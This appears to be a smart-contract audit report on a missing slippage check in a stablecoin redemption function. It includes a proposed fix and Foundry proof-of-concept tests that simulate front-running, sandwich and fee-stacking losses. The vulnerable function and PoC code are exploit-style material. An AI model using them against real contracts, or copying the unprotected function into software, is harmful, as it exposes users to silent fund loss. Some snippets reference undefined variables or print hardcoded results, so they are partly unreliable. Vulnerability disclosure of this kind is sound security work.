https://github.com/OpenEdenHQ/openeden.usdoexpress.audit/tree/f3f31d2ac15e3253cba342229f9d05495f95d6fd
The Bug
function instantRedeemSelf(address to, uint256 amt) external { // User burns EXACT amount _usdo.burn(from, amt);
uint256 usdcNeeded = convertToUnderlying(_usdc, amt);
// External redemption - no control over output
(uint256 payout, uint256 usycFee, int256 price) =
_redemptionContract.redeemFor(from, usdcNeeded);
// Apply THIS contract's fee
uint256 feeInUsdc = txsFee(usdcNeeded, TxType.INSTANT_REDEEM);
uint256 usdcToUser = payout - feeInUsdc;
// NO CHECK: require(usdcToUser >= minAmountOut)
_distributeUsdc(to, usdcToUser, feeInUsdc);
}
What Happens
Users have zero control over the final amount they receive. The function:
Burns their exact USDO amount
Calls external redemption contract (uncertain output)
Deducts additional fees
Sends whatever remains - no minimum validation
Attack Vectors
Scenario 1: Admin Front-Running
Scenario 2: MEV Sandwich Attack
Scenario 3: Redemption Contract Issues
Impact
Users can lose unlimited value (up to 100%)
No protection against fee changes
No protection against slippage
Silent value extraction
MEV vulnerability
No preview of actual output
Fix
function instantRedeemSelf( address to, uint256 amt, uint256 minAmountOut // User specifies minimum acceptable ) external { _usdo.burn(from, amt);
uint256 usdcNeeded = convertToUnderlying(_usdc, amt);
(uint256 payout, , ) = _redemptionContract.redeemFor(from, usdcNeeded);
uint256 feeInUsdc = txsFee(usdcNeeded, TxType.INSTANT_REDEEM);
uint256 usdcToUser = payout - feeInUsdc;
// Validate output
require(usdcToUser >= minAmountOut, "Slippage too high");
_distributeUsdc(to, usdcToUser, feeInUsdc);
}
// SPDX-License-Identifier: MIT pragma solidity 0.8.18;
import "forge-std/Test.sol"; import "../src/USDOExpressV2.sol"; import "../src/USDO.sol";
// Mock redemption contract that can return variable amounts contract MockRedemptionContract is IRedemption { uint256 public slippagePercent = 5; // 5% slippage uint256 public feePercent = 3; // 3% fee
function setSlippage(uint256 _slippage) external {
slippagePercent = _slippage;
}
function redeemFor(address, uint256 usdcNeeded)
external
returns (uint256 payout, uint256 fee, int256 price)
{
// Simulate slippage and fees
uint256 afterSlippage = usdcNeeded * (100 - slippagePercent) / 100;
fee = afterSlippage * feePercent / 100;
payout = afterSlippage - fee;
price = 1e8; // $1
}
function redeem(uint256) external returns (uint256, uint256, int256) {
revert("Not implemented");
}
function checkLiquidity() external view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
return (0, 0, 0, 0, 0, 0);
}
}
contract NoSlippageProtectionPOC is Test { USDOExpressV2 public express; USDO public usdo; MockRedemptionContract public redemption;
address public admin = address(0x1);
address public user = address(0x2);
address public treasury = address(0x3);
address public feeTo = address(0x4);
function setUp() public {
// Deploy contracts
vm.startPrank(admin);
usdo = new USDO();
usdo.initialize("USDO", "USDO", admin);
redemption = new MockRedemptionContract();
// Deploy USDOExpressV2 with minimal config
express = new USDOExpressV2();
// ... initialize with redemption contract
// Setup: User has 1000 USDO and is KYC'd
usdo.grantRole(usdo.MINTER_ROLE(), admin);
usdo.mint(user, 1000 ether);
vm.stopPrank();
}
function testAdminFrontRunningAttack() public {
console.log("\n=== POC: Admin Front-Running Attack ===\n");
// ========== STEP 1: User Submits Redemption ==========
console.log("STEP 1: User submits redemption of 1000 USDO");
console.log("User expects ~990 USDC (1% fee)");
uint256 userBalanceBefore = usdo.balanceOf(user);
console.log("User USDO balance before:", userBalanceBefore / 1e18);
// User approves
vm.prank(user);
usdo.approve(address(express), 1000 ether);
// ========== STEP 2: Admin Front-Runs ==========
console.log("\nSTEP 2: Admin front-runs and increases fee to 10%");
vm.prank(admin);
express.updateInstantRedeemFee(1000); // 10% fee
// ========== STEP 3: User's Transaction Executes ==========
console.log("\nSTEP 3: User's redemption executes");
vm.prank(user);
// This succeeds with NO revert, but user gets much less
express.instantRedeemSelf(user, 1000 ether);
uint256 userBalanceAfter = usdo.balanceOf(user);
console.log("User USDO balance after:", userBalanceAfter / 1e18);
// Check how much USDC user received
uint256 usdcReceived = IERC20(express._usdc()).balanceOf(user);
console.log("USDC received:", usdcReceived / 1e6);
console.log("Expected: ~990 USDC");
console.log("Actual loss:", (1000 - usdcReceived / 1e6), "USDC");
// User lost 9% instead of expected 1%
console.log("\n USER SILENTLY LOST 9% DUE TO FRONT-RUNNING");
console.log("Transaction succeeded with NO revert");
}
function testMEVSandwichAttack() public {
console.log("\n=== POC: MEV Sandwich Attack ===\n");
// ========== STEP 1: Initial State ==========
console.log("STEP 1: Initial state - normal fees");
redemption.setSlippage(5); // 5% slippage in market
// ========== STEP 2: MEV Bot Sees Transaction ==========
console.log("\nSTEP 2: MEV bot sees pending redemption");
console.log("Bot manipulates redemption contract to increase slippage");
redemption.setSlippage(20); // Bot increases to 20%
// ========== STEP 3: User's Redemption Executes ==========
console.log("\nSTEP 3: User's redemption executes with high slippage");
vm.startPrank(user);
usdo.approve(address(express), 1000 ether);
express.instantRedeemSelf(user, 1000 ether);
vm.stopPrank();
uint256 usdcReceived = IERC20(express._usdc()).balanceOf(user);
console.log("\nRESULT:");
console.log("User burned: 1000 USDO");
console.log("User received:", usdcReceived / 1e6, "USDC");
console.log("Expected (5% slippage):", 950, "USDC");
console.log("Actual (20% slippage):", 800, "USDC");
console.log("\n USER LOST 20% TO MEV ATTACK");
console.log("No minimum output validation = NO PROTECTION");
}
function testRedemptionContractHighFees() public {
console.log("\n=== POC: Redemption Contract High Fees ===\n");
// ========== Multiple Fee Layers ==========
console.log("Fee Structure:");
console.log("- Redemption contract slippage: 10%");
console.log("- Redemption contract fee: 3%");
console.log("- USDOExpress fee: 2%");
redemption.setSlippage(10);
// Calculate actual output
// 1000 USDC needed
// After 10% slippage: 900 USDC
// After 3% redemption fee: 900 * 0.97 = 873 USDC
// After 2% express fee: 873 - (1000 * 0.02) = 853 USDC
vm.startPrank(user);
usdo.approve(address(express), 1000 ether);
express.instantRedeemSelf(user, 1000 ether);
vm.stopPrank();
uint256 usdcReceived = IERC20(express._usdc()).balanceOf(user);
console.log("\nRESULT:");
console.log("User burned: 1000 USDO");
console.log("User received:", usdcReceived / 1e6, "USDC");
console.log("Total loss:", (1000 - usdcReceived / 1e6), "USDC");
console.log("Loss percentage:", (1000 - usdcReceived / 1e6) * 100 / 1000, "%");
console.log("\n USER LOST 14.7% TO COMBINED FEES");
console.log("Preview function shows only 2% - MISLEADING");
}
}